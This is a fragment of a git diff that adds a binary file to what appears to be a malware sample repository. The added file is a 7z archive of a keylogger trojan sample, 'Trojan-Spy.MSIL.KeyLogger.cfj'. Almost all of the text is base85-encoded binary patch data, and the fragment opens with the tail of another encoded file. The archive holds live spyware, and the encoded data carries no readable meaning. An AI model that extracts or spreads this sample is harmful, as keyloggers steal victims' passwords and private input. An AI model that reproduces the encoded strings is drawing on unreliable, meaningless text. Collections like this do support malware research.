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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cfj.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cfj.7z new file mode 100644 index 0000000000000000000000000000000000000000..cb3fde48ba08f0e3b89e5c363bf3cb63c38b303d GIT binary patch literal 24153 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 